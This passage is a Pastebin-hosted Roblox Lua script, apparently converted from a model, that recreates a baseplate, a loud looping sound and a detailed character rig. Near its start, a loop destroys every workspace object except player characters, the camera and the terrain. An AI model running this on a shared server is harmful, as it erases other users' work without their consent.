Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- local chil = workspace:GetChildren()
- for i,v in pairs(chil) do
- if not (v==script or v:IsA("Camera") or v:IsA("Terrain") or game:GetService("Players"):GetPlayerFromCharacter(v)~=nil) then
- v:Destroy()
- end
- end
- Camera0 = Instance.new("Camera")
- Part1 = Instance.new("Part")
- Sound2 = Instance.new("Sound")
- SpawnLocation3 = Instance.new("SpawnLocation")
- Decal4 = Instance.new("Decal")
- Model5 = Instance.new("Model")
- MeshPart6 = Instance.new("MeshPart")
- Vector3Value7 = Instance.new("Vector3Value")
- Vector3Value8 = Instance.new("Vector3Value")
- Motor6D9 = Instance.new("Motor6D")
- MeshPart10 = Instance.new("MeshPart")
- Vector3Value11 = Instance.new("Vector3Value")
- Vector3Value12 = Instance.new("Vector3Value")
- Vector3Value13 = Instance.new("Vector3Value")
- Vector3Value14 = Instance.new("Vector3Value")
- Vector3Value15 = Instance.new("Vector3Value")
- Vector3Value16 = Instance.new("Vector3Value")
- Vector3Value17 = Instance.new("Vector3Value")
- Vector3Value18 = Instance.new("Vector3Value")
- Motor6D19 = Instance.new("Motor6D")
- MeshPart20 = Instance.new("MeshPart")
- Vector3Value21 = Instance.new("Vector3Value")
- Vector3Value22 = Instance.new("Vector3Value")
- Vector3Value23 = Instance.new("Vector3Value")
- Motor6D24 = Instance.new("Motor6D")
- MeshPart25 = Instance.new("MeshPart")
- Vector3Value26 = Instance.new("Vector3Value")
- Vector3Value27 = Instance.new("Vector3Value")
- Vector3Value28 = Instance.new("Vector3Value")
- Vector3Value29 = Instance.new("Vector3Value")
- Motor6D30 = Instance.new("Motor6D")
- MeshPart31 = Instance.new("MeshPart")
- Vector3Value32 = Instance.new("Vector3Value")
- Vector3Value33 = Instance.new("Vector3Value")
- Vector3Value34 = Instance.new("Vector3Value")
- Motor6D35 = Instance.new("Motor6D")
- MeshPart36 = Instance.new("MeshPart")
- Vector3Value37 = Instance.new("Vector3Value")
- Vector3Value38 = Instance.new("Vector3Value")
- Vector3Value39 = Instance.new("Vector3Value")
- Vector3Value40 = Instance.new("Vector3Value")
- Vector3Value41 = Instance.new("Vector3Value")
- Vector3Value42 = Instance.new("Vector3Value")
- Vector3Value43 = Instance.new("Vector3Value")
- Vector3Value44 = Instance.new("Vector3Value")
- Vector3Value45 = Instance.new("Vector3Value")
- Vector3Value46 = Instance.new("Vector3Value")
- Motor6D47 = Instance.new("Motor6D")
- MeshPart48 = Instance.new("MeshPart")
- Vector3Value49 = Instance.new("Vector3Value")
- Vector3Value50 = Instance.new("Vector3Value")
- Vector3Value51 = Instance.new("Vector3Value")
- Motor6D52 = Instance.new("Motor6D")
- MeshPart53 = Instance.new("MeshPart")
- Vector3Value54 = Instance.new("Vector3Value")
- Vector3Value55 = Instance.new("Vector3Value")
- Vector3Value56 = Instance.new("Vector3Value")
- Motor6D57 = Instance.new("Motor6D")
- Part58 = Instance.new("Part")
- SpecialMesh59 = Instance.new("SpecialMesh")
- Vector3Value60 = Instance.new("Vector3Value")
- Vector3Value61 = Instance.new("Vector3Value")
- Vector3Value62 = Instance.new("Vector3Value")
- Vector3Value63 = Instance.new("Vector3Value")
- Vector3Value64 = Instance.new("Vector3Value")
- Vector3Value65 = Instance.new("Vector3Value")
- Decal66 = Instance.new("Decal")
- Vector3Value67 = Instance.new("Vector3Value")
- Motor6D68 = Instance.new("Motor6D")
- Sound69 = Instance.new("Sound")
- Sound70 = Instance.new("Sound")
- Sound71 = Instance.new("Sound")
- Sound72 = Instance.new("Sound")
- Sound73 = Instance.new("Sound")
- Sound74 = Instance.new("Sound")
- Sound75 = Instance.new("Sound")
- Sound76 = Instance.new("Sound")
- Sound77 = Instance.new("Sound")
- MeshPart78 = Instance.new("MeshPart")
- Vector3Value79 = Instance.new("Vector3Value")
- Vector3Value80 = Instance.new("Vector3Value")
- Vector3Value81 = Instance.new("Vector3Value")
- Vector3Value82 = Instance.new("Vector3Value")
- Motor6D83 = Instance.new("Motor6D")
- MeshPart84 = Instance.new("MeshPart")
- Vector3Value85 = Instance.new("Vector3Value")
- Vector3Value86 = Instance.new("Vector3Value")
- Vector3Value87 = Instance.new("Vector3Value")
- Motor6D88 = Instance.new("Motor6D")
- MeshPart89 = Instance.new("MeshPart")
- Vector3Value90 = Instance.new("Vector3Value")
- Vector3Value91 = Instance.new("Vector3Value")
- Motor6D92 = Instance.new("Motor6D")
- MeshPart93 = Instance.new("MeshPart")
- Vector3Value94 = Instance.new("Vector3Value")
- Vector3Value95 = Instance.new("Vector3Value")
- Vector3Value96 = Instance.new("Vector3Value")
- Motor6D97 = Instance.new("Motor6D")
- MeshPart98 = Instance.new("MeshPart")
- Vector3Value99 = Instance.new("Vector3Value")
- Vector3Value100 = Instance.new("Vector3Value")
- Vector3Value101 = Instance.new("Vector3Value")
- Motor6D102 = Instance.new("Motor6D")
- Part103 = Instance.new("Part")
- Vector3Value104 = Instance.new("Vector3Value")
- Vector3Value105 = Instance.new("Vector3Value")
- MeshPart106 = Instance.new("MeshPart")
- Vector3Value107 = Instance.new("Vector3Value")
- Vector3Value108 = Instance.new("Vector3Value")
- Vector3Value109 = Instance.new("Vector3Value")
- Motor6D110 = Instance.new("Motor6D")
- Humanoid111 = Instance.new("Humanoid")
- NumberValue112 = Instance.new("NumberValue")
- NumberValue113 = Instance.new("NumberValue")
- NumberValue114 = Instance.new("NumberValue")
- NumberValue115 = Instance.new("NumberValue")
- Script116 = Instance.new("Script")
- LocalScript117 = Instance.new("LocalScript")
- LocalScript118 = Instance.new("LocalScript")
- StringValue119 = Instance.new("StringValue")
- Animation120 = Instance.new("Animation")
- StringValue121 = Instance.new("StringValue")
- Animation122 = Instance.new("Animation")
- StringValue123 = Instance.new("StringValue")
- Animation124 = Instance.new("Animation")
- NumberValue125 = Instance.new("NumberValue")
- Animation126 = Instance.new("Animation")
- NumberValue127 = Instance.new("NumberValue")
- Animation128 = Instance.new("Animation")
- NumberValue129 = Instance.new("NumberValue")
- StringValue130 = Instance.new("StringValue")
- Animation131 = Instance.new("Animation")
- NumberValue132 = Instance.new("NumberValue")
- Animation133 = Instance.new("Animation")
- NumberValue134 = Instance.new("NumberValue")
- Animation135 = Instance.new("Animation")
- NumberValue136 = Instance.new("NumberValue")
- StringValue137 = Instance.new("StringValue")
- Animation138 = Instance.new("Animation")
- NumberValue139 = Instance.new("NumberValue")
- Animation140 = Instance.new("Animation")
- NumberValue141 = Instance.new("NumberValue")
- Animation142 = Instance.new("Animation")
- NumberValue143 = Instance.new("NumberValue")
- StringValue144 = Instance.new("StringValue")
- Animation145 = Instance.new("Animation")
- StringValue146 = Instance.new("StringValue")
- Animation147 = Instance.new("Animation")
- NumberValue148 = Instance.new("NumberValue")
- Animation149 = Instance.new("Animation")
- NumberValue150 = Instance.new("NumberValue")
- StringValue151 = Instance.new("StringValue")
- Animation152 = Instance.new("Animation")
- StringValue153 = Instance.new("StringValue")
- Animation154 = Instance.new("Animation")
- StringValue155 = Instance.new("StringValue")
- Animation156 = Instance.new("Animation")
- StringValue157 = Instance.new("StringValue")
- Animation158 = Instance.new("Animation")
- StringValue159 = Instance.new("StringValue")
- Animation160 = Instance.new("Animation")
- StringValue161 = Instance.new("StringValue")
- Animation162 = Instance.new("Animation")
- StringValue163 = Instance.new("StringValue")
- Animation164 = Instance.new("Animation")
- StringValue165 = Instance.new("StringValue")
- Animation166 = Instance.new("Animation")
- StringValue167 = Instance.new("StringValue")
- Animation168 = Instance.new("Animation")
- StringValue169 = Instance.new("StringValue")
- Animation170 = Instance.new("Animation")
- StringValue171 = Instance.new("StringValue")
- Animation172 = Instance.new("Animation")
- StringValue173 = Instance.new("StringValue")
- Animation174 = Instance.new("Animation")
- Script175 = Instance.new("Script")
- Model176 = Instance.new("Model")
- Part177 = Instance.new("Part")
- CylinderMesh178 = Instance.new("CylinderMesh")
- Part179 = Instance.new("Part")
- CylinderMesh180 = Instance.new("CylinderMesh")
- Part181 = Instance.new("Part")
- CylinderMesh182 = Instance.new("CylinderMesh")
- Part183 = Instance.new("Part")
- CylinderMesh184 = Instance.new("CylinderMesh")
- Part185 = Instance.new("Part")
- CylinderMesh186 = Instance.new("CylinderMesh")
- Part187 = Instance.new("Part")
- Part188 = Instance.new("Part")
- Part189 = Instance.new("Part")
- CylinderMesh190 = Instance.new("CylinderMesh")
- Part191 = Instance.new("Part")
- CylinderMesh192 = Instance.new("CylinderMesh")
- Part193 = Instance.new("Part")
- Part194 = Instance.new("Part")
- Part195 = Instance.new("Part")
- CylinderMesh196 = Instance.new("CylinderMesh")
- Part197 = Instance.new("Part")
- CylinderMesh198 = Instance.new("CylinderMesh")
- Part199 = Instance.new("Part")
- Decal200 = Instance.new("Decal")
- VehicleSeat201 = Instance.new("VehicleSeat")
- CylinderMesh202 = Instance.new("CylinderMesh")
- Part203 = Instance.new("Part")
- Part204 = Instance.new("Part")
- CylinderMesh205 = Instance.new("CylinderMesh")
- SpecialMesh206 = Instance.new("SpecialMesh")
- Part207 = Instance.new("Part")
- Decal208 = Instance.new("Decal")
- BlockMesh209 = Instance.new("BlockMesh")
- Part210 = Instance.new("Part")
- Part211 = Instance.new("Part")
- CylinderMesh212 = Instance.new("CylinderMesh")
- BodyColors213 = Instance.new("BodyColors")
- Shirt214 = Instance.new("Shirt")
- Accessory215 = Instance.new("Accessory")
- Part216 = Instance.new("Part")
- SpecialMesh217 = Instance.new("SpecialMesh")
- Vector3Value218 = Instance.new("Vector3Value")
- Weld219 = Instance.new("Weld")
- Camera220 = Instance.new("Camera")
- Script221 = Instance.new("Script")
- Pants222 = Instance.new("Pants")
- VelocityMotor223 = Instance.new("VelocityMotor")
- Weld224 = Instance.new("Weld")
- Script225 = Instance.new("Script")
- Script226 = Instance.new("Script")
- Weld227 = Instance.new("Weld")
- Script228 = Instance.new("Script")
- RotateP229 = Instance.new("RotateP")
- Script230 = Instance.new("Script")
- Model231 = Instance.new("Model")
- Part232 = Instance.new("Part")
- SpecialMesh233 = Instance.new("SpecialMesh")
- Part234 = Instance.new("Part")
- Snap235 = Instance.new("Snap")
- Camera0.Parent = mas
- Camera0.CFrame = CFrame.new(234.378723, 12.3685293, 12.9457541, 0.975134373, -0.0741772801, 0.208831832, 7.45057971e-09, 0.942320228, 0.334713072, -0.22161451, -0.326390207, 0.918888807)
- Camera0.CoordinateFrame = CFrame.new(234.378723, 12.3685293, 12.9457541, 0.975134373, -0.0741772801, 0.208831832, 7.45057971e-09, 0.942320228, 0.334713072, -0.22161451, -0.326390207, 0.918888807)
- Camera0.Focus = CFrame.new(233.96106, 11.6991034, 11.1079769, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Camera0.focus = CFrame.new(233.96106, 11.6991034, 11.1079769, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part1.Name = "Baseplate"
- Part1.Parent = mas
- Part1.CFrame = CFrame.new(230, -10, -5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part1.Position = Vector3.new(230, -10, -5)
- Part1.Color = Color3.new(0, 1, 0)
- Part1.Size = Vector3.new(52, 20, 58)
- Part1.Anchored = true
- Part1.BrickColor = BrickColor.new("Lime green")
- Part1.Locked = true
- Part1.Material = Enum.Material.Grass
- Part1.brickColor = BrickColor.new("Lime green")
- Part1.FormFactor = Enum.FormFactor.Symmetric
- Part1.formFactor = Enum.FormFactor.Symmetric
- Sound2.Parent = Part1
- Sound2.Looped = true
- Sound2.Playing = true
- Sound2.SoundId = "rbxassetid://1971234547"
- Sound2.Volume = 10
- SpawnLocation3.Parent = mas
- SpawnLocation3.CFrame = CFrame.new(238, 0.500001013, 12, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- SpawnLocation3.Position = Vector3.new(238, 0.500001013, 12)
- SpawnLocation3.Color = Color3.new(0, 1, 0)
- SpawnLocation3.Size = Vector3.new(12, 1, 12)
- SpawnLocation3.Anchored = true
- SpawnLocation3.BottomSurface = Enum.SurfaceType.Smooth
- SpawnLocation3.BrickColor = BrickColor.new("Lime green")
- SpawnLocation3.Material = Enum.Material.Grass
- SpawnLocation3.TopSurface = Enum.SurfaceType.Smooth
- SpawnLocation3.brickColor = BrickColor.new("Lime green")
- Decal4.Parent = SpawnLocation3
- Decal4.Texture = "rbxasset://textures/SpawnLocation.png"
- Decal4.Face = Enum.NormalId.Top
- Model5.Name = "MeWWEbcw"
- Model5.Parent = mas
- Model5.PrimaryPart = Part103
- MeshPart6.Name = "RightFoot"
- MeshPart6.Parent = Model5
- MeshPart6.CFrame = CFrame.new(231.009674, 0.157492876, -19.5858002, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart6.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart6.Position = Vector3.new(231.009674, 0.157492876, -19.5858002)
- MeshPart6.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart6.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart6.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart6.Size = Vector3.new(0.99999994, 0.315000236, 1)
- MeshPart6.Anchored = true
- MeshPart6.BrickColor = BrickColor.new("Light orange")
- MeshPart6.CanCollide = false
- MeshPart6.Locked = true
- MeshPart6.brickColor = BrickColor.new("Light orange")
- Vector3Value7.Name = "OriginalPosition"
- Vector3Value7.Parent = mas
- Vector3Value7.Value = Vector3.new(-0, 0.0499997139, 9.84534345e-05)
- Vector3Value8.Name = "OriginalSize"
- Vector3Value8.Parent = MeshPart6
- Vector3Value8.Value = Vector3.new(0.99999994, 0.300000191, 1)
- Motor6D9.Name = "RightAnkle"
- Motor6D9.Parent = MeshPart6
- Motor6D9.C0 = CFrame.new(-0, -0.78750056, 9.82746205e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D9.C1 = CFrame.new(-0, 0.0524997041, 9.84534345e-05, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D9.Part0 = MeshPart84
- Motor6D9.Part1 = MeshPart6
- Motor6D9.part1 = MeshPart6
- MeshPart10.Name = "LowerTorso"
- MeshPart10.Parent = Model5
- MeshPart10.CFrame = CFrame.new(231.48671, 2.30999279, -19.4360275, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart10.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart10.Position = Vector3.new(231.48671, 2.30999279, -19.4360275)
- MeshPart10.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart10.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart10.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart10.Size = Vector3.new(1.99999976, 0.419999957, 1.00000012)
- MeshPart10.Anchored = true
- MeshPart10.BrickColor = BrickColor.new("Light orange")
- MeshPart10.Locked = true
- MeshPart10.brickColor = BrickColor.new("Light orange")
- Vector3Value11.Name = "OriginalPosition"
- Vector3Value11.Parent = mas
- Vector3Value11.Value = Vector3.new(-1.1920929e-07, 0.150000036, -0)
- Vector3Value12.Name = "OriginalPosition"
- Vector3Value12.Parent = mas
- Vector3Value12.Value = Vector3.new(-1.1920929e-07, 0.550000072, 7.64462551e-20)
- Vector3Value13.Name = "OriginalPosition"
- Vector3Value13.Parent = mas
- Vector3Value13.Value = Vector3.new(-0.500000119, -0.199999958, -0)
- Vector3Value14.Name = "OriginalPosition"
- Vector3Value14.Parent = mas
- Vector3Value14.Value = Vector3.new(0.499999881, -0.199999958, -0)
- Vector3Value15.Name = "OriginalPosition"
- Vector3Value15.Parent = mas
- Vector3Value15.Value = Vector3.new(0, -0.200000003, 0)
- Vector3Value16.Name = "OriginalPosition"
- Vector3Value16.Parent = mas
- Vector3Value16.Value = Vector3.new(0, -0.200000003, -0.5)
- Vector3Value17.Name = "OriginalPosition"
- Vector3Value17.Parent = mas
- Vector3Value17.Value = Vector3.new(0, -0.200000003, 0.5)
- Vector3Value18.Name = "OriginalSize"
- Vector3Value18.Parent = MeshPart10
- Vector3Value18.Value = Vector3.new(1.99999976, 0.399999976, 1.00000012)
- Motor6D19.Name = "Root"
- Motor6D19.Parent = MeshPart10
- Motor6D19.C0 = CFrame.new(-0, -0.682500005, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D19.C1 = CFrame.new(-1.1920929e-07, 0.157500029, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D19.Part0 = Part103
- Motor6D19.Part1 = MeshPart10
- Motor6D19.part1 = MeshPart10
- MeshPart20.Name = "RightHand"
- MeshPart20.Parent = Model5
- MeshPart20.CFrame = CFrame.new(230.055588, 2.25749278, -19.8853436, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart20.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart20.Position = Vector3.new(230.055588, 2.25749278, -19.8853436)
- MeshPart20.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart20.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart20.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart20.Size = Vector3.new(0.999999881, 0.314999968, 0.999999881)
- MeshPart20.Anchored = true
- MeshPart20.BrickColor = BrickColor.new("Light orange")
- MeshPart20.CanCollide = false
- MeshPart20.Locked = true
- MeshPart20.brickColor = BrickColor.new("Light orange")
- Vector3Value21.Name = "OriginalPosition"
- Vector3Value21.Parent = mas
- Vector3Value21.Value = Vector3.new(3.57627869e-07, 0.149999991, 5.96046448e-08)
- Vector3Value22.Name = "OriginalPosition"
- Vector3Value22.Parent = mas
- Vector3Value22.Value = Vector3.new(0, -0.149999633, -1.46306121e-07)
- Vector3Value23.Name = "OriginalSize"
- Vector3Value23.Parent = MeshPart20
- Vector3Value23.Value = Vector3.new(0.999999881, 0.299999982, 0.999999881)
- Motor6D24.Name = "RightWrist"
- Motor6D24.Parent = MeshPart20
- Motor6D24.C0 = CFrame.new(1.1920929e-07, -0.577499926, -6.86244753e-18, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D24.C1 = CFrame.new(3.57627869e-07, 0.157499984, 5.96046448e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D24.Part0 = MeshPart53
- Motor6D24.Part1 = MeshPart20
- Motor6D24.part1 = MeshPart20
- MeshPart25.Name = "RightUpperArm"
- MeshPart25.Parent = Model5
- MeshPart25.CFrame = CFrame.new(230.055588, 3.464993, -19.8853436, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart25.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart25.Position = Vector3.new(230.055588, 3.464993, -19.8853436)
- MeshPart25.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart25.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart25.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart25.Size = Vector3.new(0.999999642, 1.47000027, 0.99999994)
- MeshPart25.Anchored = true
- MeshPart25.BrickColor = BrickColor.new("Light orange")
- MeshPart25.CanCollide = false
- MeshPart25.Locked = true
- MeshPart25.brickColor = BrickColor.new("Light orange")
- Vector3Value26.Name = "OriginalPosition"
- Vector3Value26.Parent = mas
- Vector3Value26.Value = Vector3.new(-0.250020266, 0.449999809, 8.94069672e-08)
- Vector3Value27.Name = "OriginalPosition"
- Vector3Value27.Parent = mas
- Vector3Value27.Value = Vector3.new(-5.96046448e-07, -0.200000167, 8.94069672e-08)
- Vector3Value28.Name = "OriginalPosition"
- Vector3Value28.Parent = mas
- Vector3Value28.Value = Vector3.new(-9.53674316e-07, 0.700000286, -2.70968314e-08)
- Vector3Value29.Name = "OriginalSize"
- Vector3Value29.Parent = MeshPart25
- Vector3Value29.Value = Vector3.new(0.999999642, 1.40000033, 0.99999994)
- Motor6D30.Name = "RightShoulder"
- Motor6D30.Parent = MeshPart25
- Motor6D30.C0 = CFrame.new(1.24998045, 0.577499926, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D30.C1 = CFrame.new(-0.250020266, 0.472499788, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D30.Part0 = MeshPart36
- Motor6D30.Part1 = MeshPart25
- Motor6D30.part1 = MeshPart25
- MeshPart31.Name = "LeftLowerLeg"
- MeshPart31.Parent = Model5
- MeshPart31.CFrame = CFrame.new(231.963745, 0.997493386, -19.2862549, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart31.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart31.Position = Vector3.new(231.963745, 0.997493386, -19.2862549)
- MeshPart31.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart31.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart31.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart31.Size = Vector3.new(0.99999994, 1.57500029, 1.00000012)
- MeshPart31.Anchored = true
- MeshPart31.BrickColor = BrickColor.new("Light orange")
- MeshPart31.CanCollide = false
- MeshPart31.Locked = true
- MeshPart31.brickColor = BrickColor.new("Light orange")
- Vector3Value32.Name = "OriginalPosition"
- Vector3Value32.Parent = mas
- Vector3Value32.Value = Vector3.new(-0, 0.249999627, -1.78813934e-07)
- Vector3Value33.Name = "OriginalPosition"
- Vector3Value33.Parent = mas
- Vector3Value33.Value = Vector3.new(-1.78813934e-07, -0.749997616, 6.29340548e-07)
- Vector3Value34.Name = "OriginalSize"
- Vector3Value34.Parent = MeshPart31
- Vector3Value34.Value = Vector3.new(0.99999994, 1.50000036, 1.00000012)
- Motor6D35.Name = "LeftKnee"
- Motor6D35.Parent = MeshPart31
- Motor6D35.C0 = CFrame.new(5.96046448e-08, -0.314999938, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D35.C1 = CFrame.new(-0, 0.262499601, -1.78813934e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D35.Part0 = MeshPart48
- Motor6D35.Part1 = MeshPart31
- Motor6D35.part1 = MeshPart31
- MeshPart36.Name = "UpperTorso"
- MeshPart36.Parent = Model5
- MeshPart36.CFrame = CFrame.new(231.48671, 3.35999298, -19.4360275, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart36.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart36.Position = Vector3.new(231.48671, 3.35999298, -19.4360275)
- MeshPart36.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart36.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart36.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart36.Size = Vector3.new(2, 1.68000007, 1.00000036)
- MeshPart36.Anchored = true
- MeshPart36.BrickColor = BrickColor.new("Light orange")
- MeshPart36.Locked = true
- MeshPart36.brickColor = BrickColor.new("Light orange")
- Vector3Value37.Name = "OriginalPosition"
- Vector3Value37.Parent = mas
- Vector3Value37.Value = Vector3.new(-5.96046448e-08, -0.450000018, 1.1920929e-07)
- Vector3Value38.Name = "OriginalPosition"
- Vector3Value38.Parent = mas
- Vector3Value38.Value = Vector3.new(-5.96046448e-08, 0.799999952, 1.1920929e-07)
- Vector3Value39.Name = "OriginalPosition"
- Vector3Value39.Parent = mas
- Vector3Value39.Value = Vector3.new(-1.24989128, 0.549999952, 1.1920929e-07)
- Vector3Value40.Name = "OriginalPosition"
- Vector3Value40.Parent = mas
- Vector3Value40.Value = Vector3.new(1.24998045, 0.549999952, 1.1920929e-07)
- Vector3Value41.Name = "OriginalPosition"
- Vector3Value41.Parent = mas
- Vector3Value41.Value = Vector3.new(-5.96046448e-08, -0.200000048, -0.499999881)
- Vector3Value42.Name = "OriginalPosition"
- Vector3Value42.Parent = mas
- Vector3Value42.Value = Vector3.new(-5.96046448e-08, -0.200000048, 0.5)
- Vector3Value43.Name = "OriginalPosition"
- Vector3Value43.Parent = mas
- Vector3Value43.Value = Vector3.new(-0.999999881, 0.800000191, -7.27397378e-08)
- Vector3Value44.Name = "OriginalPosition"
- Vector3Value44.Parent = mas
- Vector3Value44.Value = Vector3.new(0.99999994, 0.799999952, 4.61295997e-08)
- Vector3Value45.Name = "OriginalPosition"
- Vector3Value45.Parent = mas
- Vector3Value45.Value = Vector3.new(0, 0.800000012, 0)
- Vector3Value46.Name = "OriginalSize"
- Vector3Value46.Parent = MeshPart36
- Vector3Value46.Value = Vector3.new(2, 1.60000014, 1.00000036)
- Motor6D47.Name = "Waist"
- Motor6D47.Parent = MeshPart36
- Motor6D47.C0 = CFrame.new(-1.1920929e-07, 0.577500045, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D47.C1 = CFrame.new(-5.96046448e-08, -0.472499996, 1.1920929e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D47.Part0 = MeshPart10
- Motor6D47.Part1 = MeshPart36
- Motor6D47.part1 = MeshPart36
- MeshPart48.Name = "LeftUpperLeg"
- MeshPart48.Parent = Model5
- MeshPart48.CFrame = CFrame.new(231.963745, 1.5749929, -19.2862549, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart48.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart48.Position = Vector3.new(231.963745, 1.5749929, -19.2862549)
- MeshPart48.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart48.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart48.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart48.Size = Vector3.new(1.00000036, 1.57499969, 0.999999881)
- MeshPart48.Anchored = true
- MeshPart48.BrickColor = BrickColor.new("Light orange")
- MeshPart48.CanCollide = false
- MeshPart48.Locked = true
- MeshPart48.brickColor = BrickColor.new("Light orange")
- Vector3Value49.Name = "OriginalPosition"
- Vector3Value49.Parent = mas
- Vector3Value49.Value = Vector3.new(5.96046448e-08, 0.5, -1.63912773e-07)
- Vector3Value50.Name = "OriginalPosition"
- Vector3Value50.Parent = mas
- Vector3Value50.Value = Vector3.new(5.96046448e-08, -0.299999952, -1.63912773e-07)
- Vector3Value51.Name = "OriginalSize"
- Vector3Value51.Parent = MeshPart48
- Vector3Value51.Value = Vector3.new(1.00000036, 1.49999976, 0.999999881)
- Motor6D52.Name = "LeftHip"
- Motor6D52.Parent = MeshPart48
- Motor6D52.C0 = CFrame.new(-0.500000119, -0.209999949, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D52.C1 = CFrame.new(5.96046448e-08, 0.524999976, -1.63912773e-07, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D52.Part0 = MeshPart10
- Motor6D52.Part1 = MeshPart48
- Motor6D52.part1 = MeshPart48
- MeshPart53.Name = "RightLowerArm"
- MeshPart53.Parent = Model5
- MeshPart53.CFrame = CFrame.new(230.055588, 2.99249268, -19.8853436, -0.954082847, 3.64971918e-21, 0.299544066, 6.38233093e-21, 1, 8.14420301e-21, -0.299544066, 9.6820279e-21, -0.954082847)
- MeshPart53.Orientation = Vector3.new(0, 162.570007, 0)
- MeshPart53.Position = Vector3.new(230.055588, 2.99249268, -19.8853436)
- MeshPart53.Rotation = Vector3.new(-180, 17.4300003, -180)
- MeshPart53.Color = Color3.new(0.917647, 0.721569, 0.572549)
- MeshPart53.Velocity = Vector3.new(-1.40129846e-45, 0, -1.40129846e-45)
- MeshPart53.Size = Vector3.new(0.999999762, 1.26000023, 1)
- MeshPart53.Anchored = true
- MeshPart53.BrickColor = BrickColor.new("Light orange")
- MeshPart53.CanCollide = false
- MeshPart53.Locked = true
- MeshPart53.brickColor = BrickColor.new("Light orange")
- Vector3Value54.Name = "OriginalPosition"
- Vector3Value54.Parent = mas
- Vector3Value54.Value = Vector3.new(1.1920929e-07, 0.25000003, 7.64462551e-20)
- Vector3Value55.Name = "OriginalPosition"
- Vector3Value55.Parent = mas
- Vector3Value55.Value = Vector3.new(1.1920929e-07, -0.549999952, -6.86244753e-18)
- Vector3Value56.Name = "OriginalSize"
- Vector3Value56.Parent = MeshPart53
- Vector3Value56.Value = Vector3.new(0.999999762, 1.20000029, 1)
- Motor6D57.Name = "RightElbow"
- Motor6D57.Parent = MeshPart53
- Motor6D57.C0 = CFrame.new(-5.96046448e-07, -0.210000172, 8.94069672e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D57.C1 = CFrame.new(1.1920929e-07, 0.262500018, 7.64462551e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Motor6D57.Part0 = MeshPart25
- Motor6D57.Part1 = MeshPart53
- Motor6D57.part1 = MeshPart53
- Part58.Name = "Head"
- Part58.Parent = Model5
